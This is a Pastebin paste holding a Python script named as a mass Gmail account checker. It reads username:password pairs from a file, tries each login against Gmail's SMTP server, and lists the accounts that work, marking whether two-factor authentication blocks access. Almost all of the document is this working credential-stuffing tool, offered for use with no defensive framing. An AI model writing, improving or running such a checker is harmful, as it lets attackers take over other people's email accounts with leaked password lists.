Advertisement
BornePlays

mass account checker gmail

Jun 27th, 2016
5,705
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.68 KB | None | 0 0
  1.  
  2. import smtplib
  3. import sys
  4. import time
  5.  
  6. combo = open('list.txt', 'r')
  7. server = smtplib.SMTP('smtp.gmail.com', 587)
  8. amount = len(combo.readlines())
  9. name = combo.name
  10.  
  11. def check():
  12.  
  13. workingAccounts = []
  14.  
  15. with combo:
  16. print('[*] Trying (' + str(amount) + ') combinations from file (' + name + ')')
  17. for lines in combo.readlines():
  18. split = lines.split(':')
  19. user = split[0]
  20. pswd = split[1]
  21. comb = (user+':'+pswd)
  22. time.sleep(1)
  23. try:
  24. server.login(user, pswd)
  25. workingAccounts.append(comb)
  26. print('[+[2FA=Disabled] ' + str(comb))
  27. except smtplib.SMTPAuthenticationError as c:
  28. if c.smtp_code == 534:
  29. workingAccounts.append(comb)
  30. print('[?][2FA=Enabled] ' + str(comb))
  31. else:
  32. print('[!] ' + str(comb))
  33.  
  34. time.sleep(1)
  35. amount2 = len(workingAccounts)
  36. print('____________________________________\n[*] Google Mail Account Checker Finished!\nTotal Working Combinations: ' + str(amount2)+'\n____________________________________')
  37. time.sleep(1)
  38. if workingAccounts == 0:
  39. sys.exit()
  40. else:
  41. q1 = raw_input('[*] Would You Like To View Working Accounts? y/n\n>> ')
  42. time.sleep(1)
  43. if q1 == 'y':
  44. print('____________________________________\n[*] Working Google Mail Accounts:\n' + str('\n'.join(workingAccounts)) + '\n____________________________________')
  45. q2 = raw_input('>> ')
  46. if q2 == '':
  47. sys.exit()
  48. else:
  49. sys.exit()
  50. elif q1 == 'n':
  51. sys.exit()
  52. else:
  53. sys.exit()
  54.  
  55. try:
  56. server.starttls()
  57. server.ehlo()
  58. print '----------------------------------------------------------------------------'
  59. print(' [Connection Established With Google Mail SMTP Server]')
  60. except smtplib.SMTPConnectError as e:
  61. print('['+str(e)+']')
  62.  
  63. try:
  64. combo = open('list.txt', 'r')
  65. print(' ['+name+' Has Succesfully Been Opened]')
  66. except combo.errors as msg:
  67. print('['+msg+']\n[Script Closing in 2 Seconds]')
  68. time.sleep(2)
  69. sys.exit()
  70.  
  71. print '[If 2FA is Enabled On The Google Mail Account You Will Not Be Able To Access It]'
  72. print '----------------------------------------------------------------------------'
  73.  
  74. q = raw_input('[*] Would You Like To Start Checking Accounts? y/n\n>> ')
  75. if q == 'y':
  76. check()
  77. elif q == 'n':
  78. sys.exit()
  79. else:
  80. sys.exit()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement